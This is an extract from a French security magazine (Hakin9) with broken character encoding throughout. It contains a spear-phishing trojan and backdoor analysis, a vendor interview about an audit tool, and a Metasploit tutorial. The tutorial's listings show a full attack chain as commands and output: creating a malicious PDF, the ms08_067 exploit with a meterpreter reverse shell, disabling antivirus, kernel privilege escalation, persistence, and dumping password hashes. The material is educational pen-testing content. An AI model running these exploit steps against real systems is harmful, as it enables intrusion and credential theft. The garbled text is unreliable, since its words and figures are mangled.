analyses primaires et secondaires des charges viralesLa piegravece jointe de lrsquoe-mail de phishing est un fichier drsquoaide compileacute HTML de Microsoft autrement dit un fichier CHM Ces types de fichiers fournissent de lrsquoaide aux utilisateurs sous environnements Microsoft Windows Ils permettent eacutegalement de consulter facilement des e-books Pour obtenir lrsquointeacutegraliteacute du contenu du fichier CHM nous avons utiliseacute le logiciel CHMDumper dispo-nible sur Mac Cette application nous a permis drsquoextraire lrsquoensemble des fichiers et reacutepertoires et drsquoobtenir des in-formations speacutecifiques sur le cheval de troie et le fichier HTML qui permet de le lancer Error Reference source not found La page suivante montre les fichiers extraits par CHMDumper mais le plus gros de lrsquoanalyse srsquoest fait avec svchostexe et FRB Conference on Key Develop-ments in Monetary Economichtm La Figure 3 abordeacutee dans les paragraphes preacuteceacutedents montre en deacutetail les eacuteleacutements agrave lrsquoorigine de lrsquoexeacutecution du cheval de troie

Lrsquoanalyse statique est utiliseacutee pour veacuterifier si le binaire est ou non proteacutegeacute puis met en eacutevidence les chaicircnes ou fonctions importantes La premiegravere eacutetape dans lrsquoanalyse drsquoun cheval de troie est drsquoutiliser des commandes Unix pour veacuterifier si le binaire est proteacutegeacute dispose de donneacutees de controcircle Mais nous avons pu eacutegalement observer que certains jeux drsquoinstructions eacutetaient encodeacutes en Base 64 et drsquoautres eacutetaient des adresses IP et URI Nous avons noteacute

lrsquoutilisation de commandes HTTP et de lrsquoAPI WinINet agrave par-tir des tables importeacutees comme indiqueacute en Figure 6

Une fois que nous avons obtenu un aperccedilu du cheval de troie le fichier binaire est analyseacute avec IDA Pro pour eacutetudier la maniegravere dont les chaicircnes de caractegraveres sont traiteacutees et pour reacutealiser une analyse de code statique Lrsquoanalyse sous IDA Pro a permis drsquoidentifier les routines qui initiaient la connexion agrave la page drsquoauthentification ainsi que les fonctions responsables du teacuteleacutechargement du malware La Figure 8 montre lrsquohocircte qui est contacteacute par le cheval de troie pour obtenir une nouvelle commande de lrsquoattaquant La Figure 7 montre la routine qui initie le teacuteleacutechargement Au cours de cette eacutetape le logiciel GNU Wget permet drsquoobtenir une co-pie de la page comme illustreacute en Figure 8 Les commandes de base dans la page eacutetaient relativement complexes mais apregraves analyse sous IDA Pro les tokens utiliseacutes par le che-val de troie eacutetaient lisibles La Figure 10 montre la portion de code qui permet de reacutecupeacuterer les commandes de la page web Les tokens (lt-- --gt) sont consideacutereacutes comme des commentaires et de ce fait ne sont pas parseacutes (analyseacutes et exeacutecuteacutes) par le navigateur ce qui explique que nous ne les retrouvons pas dans lrsquoaffichage de la page HTML

Lrsquoanalyse dynamique est utiliseacutee pour veacuterifier les hypothegraveses preacuteceacutedentes et identifier les aspects fonc-tionnels qui nous auraient eacutechappeacute durant lrsquoanalyse sta-tique Pour lrsquoanalyse live une machine virtuelle avec les logiciels Immunity Debugger et Fiddler a eacuteteacute utiliseacutee

Des points drsquoarrecirct ont eacuteteacute placeacutes aux endroits citeacutes preacuteceacutedemment Etant donneacute que le cheval de troie uti-lise lrsquoAPI WinINet le programme Fiddler Web Debugger a eacuteteacute utiliseacute pour surveiller les communications entre le troyen et le serveur web

La Figure 9 montre Fiddler en action alors que le logiciel intercepte des requecirctes web entre le serveur de lrsquoatta-quant et le cheval de troie Cette meacutethode nous a permis drsquoidentifier lrsquoen-tecircte HTTP User-Agent speacutecifiquement au troyen Lorsque lrsquohocircte est compromis par le cheval de troie ce dernier deacutefinit lrsquoen-tecircte User-Agent comme hocircte +Windows+NT+51 par exemple le nom drsquohocircte pour apridgene8fb8+ Windows+NT+51 serait apridgen-e8fb8 Apregraves avoir utiliseacute Immunity Debugger pour veacuterifier les donneacutees entreacutees comme indiqueacute en Figure 11 nous nous sommes axeacutes sur lrsquoanalyse du prochain binaire

Figure 12 Commandes passeacutees entre le client et le serveur

Figure 13 Deuxiegraveme tentative pour reacutecupeacuterer le binaireFigure 14 Requecircte du faux cheval de troie et reacuteponse de la commande sleep command

Rapport drsquoanalyse drsquoune attaque par spear-phishing

hakin9orgfr 19

Une fois les meacutecanismes du cheval de troie mis agrave jour plusieurs requecirctes ont eacuteteacute envoyeacutees au serveur de lrsquoatta-quant mais les commandes de la page web sont resteacutees inchangeacutees pendant plus de vingt minutes En raison de la nature incontrocirclable drsquoun cheval de troie une impleacutemen-tation en langage Python du cheval de troie client a eacuteteacute deacuteveloppeacutee Le client ne srsquoest servi que des commandes sleep et download apregraves analyse avec IDA Pro

Apregraves avoir testeacute des iteacuterations au niveau client nous avons laisseacute le programme poursuivre son exeacutecution La Figure 16 preacutesente une capture drsquoeacutecran du client final pour le cheval de troie La Figure 15 montre une capture eacutecran de la requecircte entre le client (cheval de troie) et le serveur web La requecircte du cheval de troie est en surbrillance dans le cadre bleu et la commande figurant dans la reacuteponse du serveur apparaicirct dans le cadre rouge Apregraves six heures de tests (polling) sur le site la commande utiliseacutee a changeacute pour la commande download La Figure 12 montre le temps eacutecouleacute agrave partir du moment ougrave le script est exeacutecuteacute jusqursquoau moment ougrave la commande download est initieacutee La Figure 13 de la page preacuteceacutedente affiche la reacuteponse HTTP 404 apregraves la deuxiegraveme tentative pour reacutecupeacuterer le binaire

analyse de la porte deacuterobeacutee (backdoor)Le fichier binaire obtenu a eacuteteacute identifieacute en utilisant des commandes Unix puis en analysant les chaicircnes de carac-tegraveres Certaines chaicircnes preacutesentes dans le fichier binaire ressemblaient agrave celles du cheval de troie eacutetant donneacute qursquoelles eacutetaient encodeacutees en Base 64 Une autre chaicircne inteacuteressante comportait une adresse IP et un port hard-coded Une analyse avanceacutee a montreacute que ce serveur et le port en question permettaient drsquoeacutetablir des appels vers le serveur une fois le fichier binaire exeacutecuteacute La Figure 17 affiche les commandes du cheval de troie preacutesentes dans la porte deacuterobeacutee Ce lien nous a permis drsquoeacutemettre lrsquohypo-thegravese que la porte deacuterobeacutee et le cheval de troie partagent le mecircme code Apregraves lrsquoanalyse statique similaire agrave celle

deacutecrite dans le chapitre preacuteceacutedent un environnement vir-tuel a eacuteteacute mis en place pour analyser la porte deacuterobeacutee Lrsquoenvironnement comportait une version reacutecente drsquoUbuntu avec Apache et une page de commandes fondeacutee sur le fichier loginhtml citeacute preacuteceacutedemment Le cheval de troie et la porte deacuterobeacutee ont ensuite eacuteteacute modifieacutes pour tester le trafic reacuteseau en interne Le malware a eacuteteacute modifieacute avec Radare Une fois la page de commandes HTML modifieacutee le cheval de troie la porte deacuterobeacutee et lrsquoensemble des fi-chiers sont placeacutes dans le reacutepertoire Web du serveur Apa-che et une analyse live est reacutealiseacutee Le cheval de troie est ensuite teacuteleacutechargeacute sur lrsquohocircte servant de test puis exeacutecuteacute pour simuler une attaque par phishing Une fois exeacutecuteacute lrsquoexeacutecutable svchostexe sonde le serveur web eacutetant don-neacute qursquoil a eacuteteacute modifieacute La page HTML hard-coded initie le teacuteleacutechargement de la porte deacuterobeacutee par lrsquointermeacutediaire du cheval de troie puis lrsquoexeacutecute

Une fois la porte deacuterobeacutee lanceacutee Immunity Debugger analyse le processus Comme indiqueacute preacuteceacutedemment si la porte deacuterobeacutee provoque des erreurs elle srsquoauto-deacutetruit et se deacutesinstalle du disque hocircte La majoriteacute des erreurs provenaient des modifications apporteacutees au fichier binaire et non pas du listener (logiciel drsquoeacutecoute)

Pour acceacuteleacuterer la phase drsquoanalyse des fonctions binai-res et un serveur classique pour la porte deacuterobeacutee ont eacuteteacute impleacutementeacutes avec le langage Python Lrsquoimpleacutementation gegravere lrsquoeacutecoute la reacuteception et le deacutecodage des messages ainsi que lrsquoencodage et lrsquoenvoi des commandes agrave la porte deacuterobeacutee

La Figure 21 preacutesente une capture drsquoeacutecran des fonc-tions utiliseacutees Pour reacutecapituler le setup_listener eacutecoute les connexions sur lrsquoadresse IP et le port speacutecifieacute La fonction recv_data reccediloit les donneacutees en entreacutee sur le socket et get_next_string lit la taille du message et la Base 64 deacutecode la prochaine suite de N caractegraveres La Figure 21 montre un message type avant traitement Les quatre premiers caractegraveres permettent de connaicirc-tre la taille du fichier au format ASCII et la longueur de la chaicircne traiteacutee tels que les donneacutees de la porte deacuterobeacutee Pour finir send_cmd prend en entreacutee une chaicircne de com-mandes et un socket puis envoie agrave la porte deacuterobeacutee une commande encodeacutee en Base 64 au socket

La Figure 21 repreacutesente un listener de porte deacuterobeacutee en cours drsquoutilisation La ligne 302 indique que le listener est en eacutecoute et attend une connexion La ligne 303 montre une commande cmd envoyeacutee agrave la porte deacuterobeacutee Cette commande invoque la commande de lrsquoenvironne-ment de la porte deacuterobeacutee Les eacuteleacutements inutiles (dir Ctextbackslash) sont ignoreacutes par la commande initialisant

Figure 15 Impleacutementation basique du cheval de troie eacutecrit en Python

Figure 16 Commandes du binaire de la porte deacuterobeacutee

5201020

attaque

la routine Nous voyons dans le cas preacutesent la chaicircne de connexion envoyeacutee par la porte deacuterobeacutee suivie drsquoune invite de commande Base 64 avec le reacutepertoire courant La ligne 305 affiche un listing du reacutepertoire courant Les lignes 306 et 309 traitent la commande Les autres com-mandes de lrsquoenvironnement du backdoor comprennent la commande cd qui permet de changer de reacutepertoire puis de clore et quitter lrsquoenvironnement La seule autre commande agrave laquelle la porte deacuterobeacutee semblait reacutepon-dre eacutetait la commande quit Cette commande permet de deacutesinstaller complegravetement la porte deacuterobeacutee puis de quitter Les autres entreacutees ont eacuteteacute ignoreacutees

Gestion des risquesLes attaques par spear-phishing ne neacutecessitent pas lrsquoutilisation de techniques avanceacutees En effet la plupart du temps ces techniques sont bien documenteacutees et per-mettent de prendre le controcircle drsquoun systegraveme En outre les binaires utiliseacutes nrsquoeacutetaient pas tregraves sophistiqueacutes Les binaires peuvent ecirctre aiseacutement modifieacutes avec un eacutediteur hexadeacutecimal si bien que le code source na pas agrave ecirctre retravailleacute pour lrsquoattaque ou le deacuteploiement de binaires les binaires srsquoadaptent directement aux besoins

Des mesures preacuteventives peuvent ecirctre entreprises pour mieux geacuterer les risques elles incluent la forma-tion des utilisateurs ainsi que des tests dispenseacutes aux eacutequipes informatiques (Rachna Dhamija JD Tygar and Marti Hearst ldquoWhy Phishing Worksrdquo CHI 06 Pro-ceedings of the SIGCHI conference on Human Factors in computing systems 2006) Parallegravelement les pare-feux et proxies reacuteseaux peuvent restreindre lrsquoaccegraves aux programmes neacutefastes empecircchant la creacuteation de connexions reacuteseaux Certains systegravemes sophistiqueacutes contournent ces protections cette technologie aurait limiteacute ce genre drsquoattaque Les mesures de deacutetections sont limiteacutees Dans ce contexte les commandes du

cheval de troie sont restreintes et inteacutegreacutees agrave un token les pages web peuvent ecirctre analyseacutees pour des chaicircnes speacutecifiques Une autre mesure de deacutetection sappuie sur le cheval de troie svchostexe en cours drsquoexeacutecution Par ailleurs une autre meacutethode consiste agrave effectuer un audit et un monitoring des programmes au lancement de lrsquoordinateur La deacutetection drsquoune porte deacuterobeacutee peut suivre des actions bien diffeacuterentes Si la porte deacuterobeacutee communique sur le port 443 comme dans le cas preacute-sent le texte brut en Base 64 serait consideacutereacute comme une anomalie

ConclusionCe rapport couvre lrsquoanalyse drsquoattaques en spear-phishing Pour analyser cette attaque nous avons effectueacute des analyses statiques de lrsquoensemble des fichiers binaires des analyses dynamiques sur les exeacute-cutables des exeacutecutables modifieacutes pour ecirctre manipuleacutes dynamiquement dans un environnement controcircleacute et nous avons finalement effectueacute une reconnaissance drsquohocirctes CampC

Les outils et techniques utiliseacutes lont eacuteteacute meacuteticuleuse-ment pour eacuteviter de se faire repeacuterer Lrsquoattaquant dispo-sait de connaissances reacuteseaux avanceacutees sur Windows et les commandes associeacutees Il a prouveacute qursquoil avait des connaissances avanceacutees des commandes botnet et autres controcircles qursquoil a impleacutementeacutes dans un toolkit efficace Il apparaicirct que le toolkit nrsquoutilise pas de code public ou des botnets connus et manque drsquoexploits sophistiqueacutes et meacutecanismes de protection Lrsquoattaquant a eacutegalement reacuteussi agrave eacutetablir des connexions serveurs et agrave cacher son identiteacute Ceci nous a ameneacute agrave penser qursquoil srsquoagissait drsquoune organisation criminelle qui cherchait agrave soutirer de lrsquoargent agrave des particuliers ou profession-nels

En revanche les auteurs ne savent pas comment lrsquoattaque a eacuteteacute deacutetecteacutee initialement Certaines activiteacutes peuvent toutefois faire pressentir une attaque fichier CHM bloqueacute par le filtre du client de messagerie fi-chiers eacutecrits et non supprimeacutes du disque dropper qui eacutecrit directement au registre ou trafic HTTP sur le port 443 plutocirct que HTTPS Cependant nous avons vu des malwares similaires efficaces utiliseacutes sur drsquoautres sys-tegravemes ndash sans ecirctre deacutetecteacutes Crsquoest pour cette raison que la gestion des risques passe par la formation du person-nel etou des utilisateurs lrsquoutilisation drsquoantivirus agrave jour des pare-feux fondeacutes sur des hocirctes et les connexions exteacuterieures ainsi que des proxies reacuteseaux qui limitent le trafic et permettent une surveillance accrue

a PROPOd de LauteuRAdam PridgenThe Cover of Night LLCadampridgenthecoverofnightcom

Figure 17 Listener basique de la porte deacuterobeacutee et impleacutementation serveur en Python

Interview

hakin9orgfr 21

Pouvez-vous preacutesenter en quelques mots la socieacuteteacute VulnIT VulnIT La socieacuteteacute VulnIT creacuteeacutee en novembre 2009 est neacutee de ce constat la seacutecuriteacute des systegravemes drsquoinformation est insuffisamment testeacutee dans la gran-de majoriteacute des entreprises par manque de moyens de temps et de compeacutetences

Dans un souci constant drsquoefficaciteacute et de transpa-rence nous nous sommes attacheacutes agrave deacutevelopper une solution accessible tant en termes de simpliciteacute drsquoutilisation que de prix Ainsi le produit lrsquointerface graphique et le rapport drsquoaudit ont eacuteteacute conccedilus pour permettre agrave lrsquoutilisateur de tirer le meilleur parti de la solution et drsquoameacuteliorer la seacutecuriteacute informatique de son entreprise

Nous sommes en avant-premiegravere de la solution innovante VulnIT Pouvez-vous nous en dire plus VulnIT VulnIT est la premiegravere solution laquo Plug amp Audit raquo fournissant aux entreprises un outil drsquoinvestigation au-tomatiseacute permettant de controcircler la seacutecuriteacute logique de leurs serveurs

Lrsquoaccessibiliteacute constitue le facteur diffeacuterenciant de la solution VulnIT En effet lrsquoenvironnement complet em-barqueacute dans la cleacute USB VulnIT assure sa portabiliteacute et sa souplesse drsquoutilisation lrsquoaccessibiliteacute financiegravere eacutega-lement permettant enfin aux entreprises de taille plus modeste de srsquooutiller dans un domaine encore reacuteserveacute agrave une expertise eacutelitiste

Enfin lrsquoapproche par les risques ndash avec une reacuteelle qualification des vulneacuterabiliteacutes tenant compte de leur exploitabiliteacute ndash facilite la priorisation des corrections agrave effectuer

Quelles sont les fonctionnaliteacutes de la cleacute USB VulnIT VulnIT Une fois la cleacute USB inseacutereacutee dans le poste drsquoaudit il suffit de preacuteciser quel(s) serveur(s) auditer pour obtenir en quelques instants un rapport preacutecis et didactique recensant les vulneacuterabiliteacutes deacutetecteacutees et le moyen de les reacutesoudre

La solution VulnIT integravegre ainsi un panel de tests criti-ques sur les bases de donneacutees la messagerie les par-tages de fichiers les connexions agrave distance la super-vision reacuteseau etc Ces tests sont exeacutecuteacutes selon les services identifieacutes sur les serveurs constituant la cible drsquoaudit

De plus la solution repose sur une architecture particuliegraverement eacutevolutive srsquoenrichissant freacutequemment de nouveaux tests de seacutecuriteacute par simple mise agrave jour sur Internet

A qui est adresseacute ce nouveau produit VulnIT Ce produit srsquoadresse en premier lieu aux entre-prises de taille intermeacutediaire (250 agrave 5000 personnes) de tout secteur dont la maturiteacute informatique a deacutepasseacute la mise en œuvre des architectures de seacutecuriteacute eacuteleacutemen-taires (pare-feu antivirus antispam etc) mais qui ne disposent pas encore drsquoun controcircle permanent en seacute-curiteacute informatique ni mecircme pour la plupart drsquoun RSSI nommeacute

Par ailleurs les auditeurs et consultants en seacutecuri-teacute informatique appreacutecieront notre outil pour le gain de temps qursquoil offre en automatisant les tests de seacutecuriteacute fondamentaux et reacutecurrents agrave chaque audit

Pour quand est preacutevue sa sortie officielle VulnIT La premiegravere version de la solution sera com-mercialiseacutee agrave partir de juin 2010 Elle sera rapidement enrichie par les tests de sites web de patch manage-ment et des eacuteleacutements drsquoarchitecture (pare-feux rou-teurs)

Ougrave pourrons-nous acheter la solution VulnIT VulnIT La solution VulnIT sera disponible sur com-mande uniquement en nous contactant via notre si-te web (httpwwwvulnitcom) ou par teacuteleacutephone (0155949271)

Nous remercions M Vincent Maury pour avoir reacutepondu aux questions de Hakin9

VulnIT est la premiegravere solution laquo Plug amp Audit raquo fournissant aux entreprises un outil drsquoinvestigation automatiseacute permettant de controcircler la seacutecuriteacute logique de leurs serveurs

5201022

Focus

Le Projet Metasploit est un projet open-source visant agrave fournir des informations et des utilitai-res destineacutes aux pen-testers aux chercheurs

en seacutecuriteacute des systegravemes dinformations et aux deacute-veloppeurs de signatures dIDS (Intrusion Detection System) Creacuteeacute par HD Moore en 2003 Metasploit eacutetait agrave lorigine un jeu en reacuteseau deacuteveloppeacute en Perl Le plus connu des sous-projets est le Metasploit

Framework deacuteveloppeacute en Ruby agrave la fois un logi-ciel de pen-testing et une plateforme de deacutevelop-pement pour la creacuteation dutilitaires de seacutecuriteacute et dexploits

Parmi les autres sous-projets nous trouvons Warvox (httpwarvoxorg) eacutecrit en Ruby et publieacute en 2009 une suite dutilitaires destineacutee agrave laudit des systegravemes de teacute-leacutephonie

Le projet Metasploit

Parmi les outils deacutedieacutes agrave la seacutecuriteacute informatique le projet Metasploit a marqueacute son temps avec le Metasploit Framework Nous allons preacutesenter cet outil deacutedieacute agrave la recherche leacutecriture et lexploitation de vulneacuterabiliteacutes Nous eacutetudierons les diffeacuterences avec Metasploit Express le nouveau logiciel de Rapid7

cet article expliquebull deacutefinition du projet Metasploitbull lutilisation de Metasploit Framework et Metasploit Express

ce quil faut savoirbull utilisation de Linux

Alexandre LAcAN

Listing 1 Exeacutecution du module auxiliaire fakedns

msf gt use auxiliaryserverfakedns

msf auxiliary(fakedns) gt set targethost 1921680200

targethost =gt 1921680200

msf auxiliary(fakedns) gt exploit

[] Auxiliary module execution completed

msf auxiliary(fakedns) gt

[] DNS server initializing

[] DNS server started

Dans une autre fenecirctre nous pouvons veacuterifier le bon fonctionnement

rootlades-desktophomeuser nslookup updatemicrosoftcom 127001

Server 127001

Address 12700153

Non-authoritative answer

Name updatemicrosoftcom

Address 1921680200

Le projet Metasploit Metasploit Framework ou Metasploit Express

hakin9orgfr 23

me Egypt et Jduck Ce rachat a permis linteacutegration de NeXpose (la version Community Edition est gratuite) avec Metasploit Framework associant un scanner de vulneacuterabiliteacutes avec un logiciel dexploitation de vulneacute-rabiliteacutes Nous verrons au cours de cet article lavan-tage que cela procure

Enfin le 22 avril 2010 HD Moore a annonceacute sur son blog (httpblogmetasploitcom) la parution dun nou-veau logiciel Metasploit Express Cet outil est une solution destineacute aux consultants et aux pen-testers professionnels permettant de faciliter lutilisation du Framework Metasploit et de NeXpose en automatisant au maximum les tests de peacuteneacutetrations Contrairement aux autres projets Metasploit Express est sous licence proprieacutetaire et payant Un prix de 3000 $ par utilisa-teur et par an a eacuteteacute annonceacute par HD Moore sur Twitter (httptwittercomhdmoore) Depuis le rachat du projet Metasploit des interrogations sur lavenir de la licence ont eacutemergeacutees Cependant plusieurs fois HD Moore a tenu a rassureacute la communauteacute des utilisateurs en affirmant que le Metasploit Framework restera open-source et gratuit sous licence BSD

Metasploit FrameworkLe Framework dispose de plusieurs base de don-neacutees La base dopcode est une ressource impor-

Le sous-projet Metasploit Decloaking Engine (httpdecloaknet) est un site web contenant un ensemble de test permettant de veacuterifier lanonymat dun utilisateur surfant derriegravere un proxy Un utilisateur du reacuteseau Tor (httpwwwtorprojectorg) peut effectuer ce test pour veacuterifier que les paramegravetres de son navigateur ne trahis-sent pas sa veacuteritable adresse IP

Metasploit Anti-Forensics Project (httpwwwme-tasploitcomresearchprojectsantiforensics) creacuteeacute par Vinnie Liu et maintenu par la communauteacute vise agrave creacuteer des utilitaires et des techniques permettant de se proteacuteger contre la recherche de preuve (forensic evidence)

Enfin le sous-projet Rogue Network Link Detection (httpwwwmetasploitcomresearchprojectsro-gue_network) est un projet visant agrave deacutetecter les liens reacuteseaux (passerelles bornes wifi ) non autoriseacutes au sein de grand reacuteseaux permettant doutrepasser la seacute-curiteacute exisante (proxy IDS hellip) Ce dernier projet na pas eacuteteacute mis agrave jour depuis deacutecembre 2005

En octobre 2009 le projet Metasploit a eacuteteacute racheteacute par la socieacuteteacute Rapid7 (httpwwwrapid7com) eacuteditrice du scanner de vulneacuterabiliteacutes NeXpose HD Moore a rejoint la socieacuteteacute Rapid7 comme Chief Architect of Metasploit et Chief Security Officer of Rapid7 Dautres contributeurs du projets ont rejoint cette socieacuteteacute com-

Listing 2 Creacuteation dun PDF malicieux exeacutecutant calcexe lors de son ouverture

msf gt use exploitwindowsfileformatadobe_libtiff

msf exploit(adobe_libtiff) gt set PAYLOAD windowsexec

PAYLOAD =gt windowsexec

msf exploit(adobe_libtiff) gt set CMD calcexe

CMD =gt calcexe

msf exploit(adobe_libtiff) gt exploit

[] Creating msfpdf file

[] Generated output file optmetasploit3msf3dataexploitsmsfpdf

[] Exploit completed but no session was created

Listing 3 Inteacutegration de NeXpose avec le Metasploit Framework

msf gt db_create

[] Creating a new database instance

[] Successfully connected to the database

[] File rootmsf3sqlite3db

msf gt load nexpose

[] NeXpose integration has been activated

[] Successfully loaded plugin nexpose

msf gt nexpose_connect nxadminpassword1270013780

[] Connecting to NeXpose instance at 1270013780 with username nxadmin

msf gt nexpose_scan 17216154130

[] Scanning 1 addresses with template pentest-audit in sets of 32

[] Completed the scan of 1 addresses

msf gt db_autopwn -t -e -x -r

5201024

Focus

Listing 4 Exploit ms08_067 avec utilisation du payload meterpreter

msf gt use exploitwindowssmbms08_067_netapi

msf exploit(ms08_067_netapi) gt set PAYLOAD windows

meterpreterreverse_tcp

PAYLOAD =gt windowsmeterpreterreverse_tcp

msf exploit(ms08_067_netapi) gt set RHOST

17216154130

RHOST =gt 17216154130

msf exploit(ms08_067_netapi) gt exploit

[] Started reverse handler on 1721615414444

[] Automatically detecting the target

[] Fingerprint Windows XP Service Pack 2 ndash lang

French

[] Selected Target Windows XP SP2 French (NX)

[] Attempting to trigger the vulnerability

[] Sending stage (748032 bytes) to 17216154130

[] Meterpreter session 1 opened (1721615414444 -gt

172161541301103) at 2010-05-15

154435 +0200

meterpreter gt run killav

[] Killing Antivirus services on the target

[] Killing off cmdexe

meterpreter gt run kitrap0d

[] Currently running as AUTORITE NTSYSTEM

[] Loading the vdmallowed executable and DLL from the

local system

[] Uploading vdmallowed to CWINDOWSTEMP

EOcQDQQBndUZfexe

[] Uploading vdmallowed to CWINDOWSTEMP

vdmexploitdll

[] Escalating our process (PID1028)

Windows NT2KXP2K3VISTA2K87 NtVdmControl()-

gtKiTrap0d local ring0 exploit

-------------------------------------------- taviso

sdflonestarorg ---

[] GetVersionEx() =gt 51

[] NtQuerySystemInformation() =gt WINDOWSsystem32

ntkrnlpaexe804D7000

[] Searching for kernel 51 signature version 2

[+] Trying signature with index 3

[+] Signature found 0x285ee bytes from kernel base

[+] Starting the NTVDM subsystem by launching MS-DOS

executable

[] CreateProcess(CWINDOWStwunk_16exe) =gt 1644

[] OpenProcess(1644) =gt 0x17e8

[] Injecting the exploit thread into NTVDM subsystem

0x17e8

[] WriteProcessMemory(0x17e8 0x2070000 VDMEXPLOIT

DLL 14)

[] WaitForSingleObject(0x17dc INFINITE)

[] GetExitCodeThread(0x17dc 0012FF44) =gt 0x77303074

[+] The exploit thread reports exploitation was

successful

[+] w00t You can now use the shell opened earlier

[] Deleting files

[] Now running as AUTORITE NTSYSTEM

meterpreter gt run scraper

[] New session on 172161541301103

[] Gathering basic system information

[] Dumping password hashes

[] Obtaining the entire registry

[] Exporting HKCU

[] Downloading HKCU (CWINDOWSTEMPOEJanufereg)

[] Cleaning HKCU

[] Exporting HKLM

[] Downloading HKLM (CWINDOWSTEMPKNTyHcmjreg)

[] Cleaning HKLM

[] Exporting HKCC

[] Downloading HKCC (CWINDOWSTEMPKWEbwoWCreg)

[] Cleaning HKCC

[] Exporting HKCR

[] Downloading HKCR (CWINDOWSTEMPBItKbjvhreg)

[] Cleaning HKCR

[] Exporting HKU

[] Downloading HKU (CWINDOWSTEMPHYlpiwXmreg)

[] Cleaning HKU

[] Completed processing on 172161541301103

meterpreter gt run persistence

[] Creating a persistent agent LHOST=172161541

LPORT=4444 (interval=5

onboot=false)

[] Persistent agent script is 314297 bytes long

[] Uploaded the persistent agent to CDOCUME~1

ADMINI~1LOCALS~1Temp

vuMDpBKJVoZcWvbs

[] Agent executed with PID 1644

[] For cleanup use command run multi_console_command -

s rootmsf3logspersistenceLADES

168306B60_201005150314clean_up__201005150314rc

meterpreter gt hashdump

Administrateur500aad3b435b51404eeaad3b435b51404ee31

d6cfe0d16ae931b73c59d7e0c089c0

HelpAssistant1000531644fb0b5459853dd11198bd8b22e454

b0675178b1ddf7eac5f6d79d28dd1f

Invit501aad3b435b51404eeaad3b435b51404ee31d6cfe0d1

6ae931b73c59d7e0c089c0

SUPPORT_388945a01002

aad3b435b51404eeaad3b435b51404ee

b367d1ccc5e78972105e1b3e3834d47e

meterpreter gt sysinfo

Computer LADES-168306B60

OS Windows XP (Build 2600 Service Pack 2)

Arch x86

Language fr_FR

Le projet Metasploit Metasploit Framework ou Metasploit Express

hakin9orgfr 25

tante destineacutee aux deacuteveloppeurs dexploits Ceux-ci peuvent retrouver la position dopcode dans des pro-grammes attaqueacutes permettant le deacuteveloppement de buffer-overflows et dexploits qui peuvent fonctionner sur diffeacuterentes versions dun systegraveme dexploitation cible

La base de donneacutees dexploits mise a jour reacutegu-liegraverement est une ressource de vulneacuterabiliteacutes docu-menteacutees La base de shellcodes (ou payload) est un ensemble doutil permettant la post-exploitation dune faille Pour ecirctre plus clair lors dun test de peacuteneacutetration le pen-tester utilise un exploit pour injecter un pay-load Lexploit ouvre la faille et y deacutepose une charge utile (la payload) par exemple un serveur VNC ou un shell distant Par analogie guerriegravere la structure dun missile est lexploit lexplosif contenu dans le

missile est le payloadLe payload le plus connu du Framework est le Meterpreter Le Meterpreter est un shell distant destineacute aux machines sous Windows dont nous verrons les capaciteacutes au cours de cet ar-ticle

Enfin Le Framework dispose dune base de donneacutees de modules auxiliaires permettant dapporter des outils suppleacutementaires aux pentesters Par exemple le modu-le servercapturepop3 creacuteeacute un faux serveur POP3 qui accepte toutes les connexions entrantes permettant de reacutecupeacuterer des identifiants ce messagerie Au total le Framework dispose de presque 500 exploits et plus de 270 modules auxiliaires des scanners des modu-les serveurs des fuzzers etc Le listing 1 preacutesente lexeacutecution dun faux serveur DNS renvoyant toutes les requecirctes DNS vers ladresse 1921680200

Figure 2 Liste des hocirctes services et failles deacutecouverts

Figure 1 Page daccueil de Metasploit Express

5201026

Focus

Le Framework peut ecirctre teacuteleacutechargeacute agrave ladresse httpwwwmetasploitcomframeworkdownload Apregraves linstallation taper la commande msfupdate pour mettre agrave jour les diffeacuterentes base de donneacutees Le Framework dispose de plusieurs interfaces clients Linterface web se lance par la commande msfweb puis en tapant ladresse http12700155555 dans un navigateur Linterface graphique se lance par la commande msfgui Enfin linterface en ligne de com-mande se lance par msfconsole

ExemplesPour exeacutecuter un exploit il faut commencer par le seacutelectionner gracircce agrave la commande use Ensuite nous devons choisir un payload avec agrave la commande set La commande info nous permet de consulter les infor-mations et les options du payload ou de lexploit seacute-lectionneacute Les options (adresse IP cible port deacutecoute hellip) sont eacutegalement deacutefinies par la commande set Le listing 2 preacutesente lexploitation de la faille Adobe CVE-2010-0188 (voir Hakin9 avril 2010) permettant la creacuteation dun PDF malicieux Lors de louverture de ce fichier il est possible de lancer un exeacutecutable injecteacute dans le PDF ou disponible dans le systegraveme de fichier

cible Cette faille a eacuteteacute corrigeacute avec Adobe Reader 931

Le listing 3 preacutesente un exemple dinteacutegration du scanner de vulneacuterabiliteacutes NeXpose avec Metasploit Framework Tout dabord nous creacuteons une base de donneacutees (db_create) qui enregistrera les reacutesultats de notre audit Ensuite le module NeXpose (load_nexpose) nous permet de scanner un reacuteseau agrave la recherche de vulneacuterabiliteacutes Pour que cela fonctionne NeXpose doit bien sucircr avoir eacuteteacute installeacute et exeacutecuteacute Apregraves avoir lanceacute notre recherche de vulneacuterabiliteacutes contre la ma-chine 17216154130 nous lancerons lexploitation des vulneacuterabiliteacutes gracircce agrave la commande db_autopwn Il est possible de deacutefinir une plage dadresse IP en tant que cible Cependant si vous utilisez la version Com-munity de NeXpose vous ecirctes limiteacute agrave 32 adresses IP

MeterpreterLe listing 4 preacutesente lexploitation de la vulneacuterabiliteacute ms08_067 exploitable contre Windows XP SP2 et SP3 Nous injectons le payload Meterpreter gracircce agrave la commande set PAYLOAD Le Meterpreter est un shell distant deacuteveloppeacute par HD Moore offrant de

Figure 3 Liste des options pour lattaque par force brute

Le projet Metasploit Metasploit Framework ou Metasploit Express

hakin9orgfr 27

nombreuses possibiliteacutes au pen-tester Apregraves avoir obtenu un shell distant la commande run killav permet de deacutesactiver lantivirus de la cible La com-mande run kitrap0d exploite la faille CVE-2010-0232 touchant toutes les versions de Windows depuis 15 ans et permettant lobtention des droits maximum sur le systegraveme dexploitation Il est eacutegalement pos-sible de faire une copie deacutecran de la machine cible avec run screenshot de reacutecupeacuterer les informations didentifications des utilisateurs (credentials) avec run credcollect de reacutecupeacuterer un bureau agrave distance avec run vnc ou run getgui dexporter la base de registre

avec run scraper enregistrer les frappes du clavier avec run keylogrecorder et de permettre lexeacutecution du meterpreter automatiquement agrave chaque deacutemarrage par run persistence

bull use sniffer permet denregistrer le traffic reacuteseau bull execute lance une commande arbitrairebull sysinfo reacutecupegravere les informations du systegraveme dex-

ploitation bull reg interagit avec la base de registre distancebull upload envoi un fichier dans la systegraveme distantbull download reacutecupegravere un fichier agrave partir de la cible

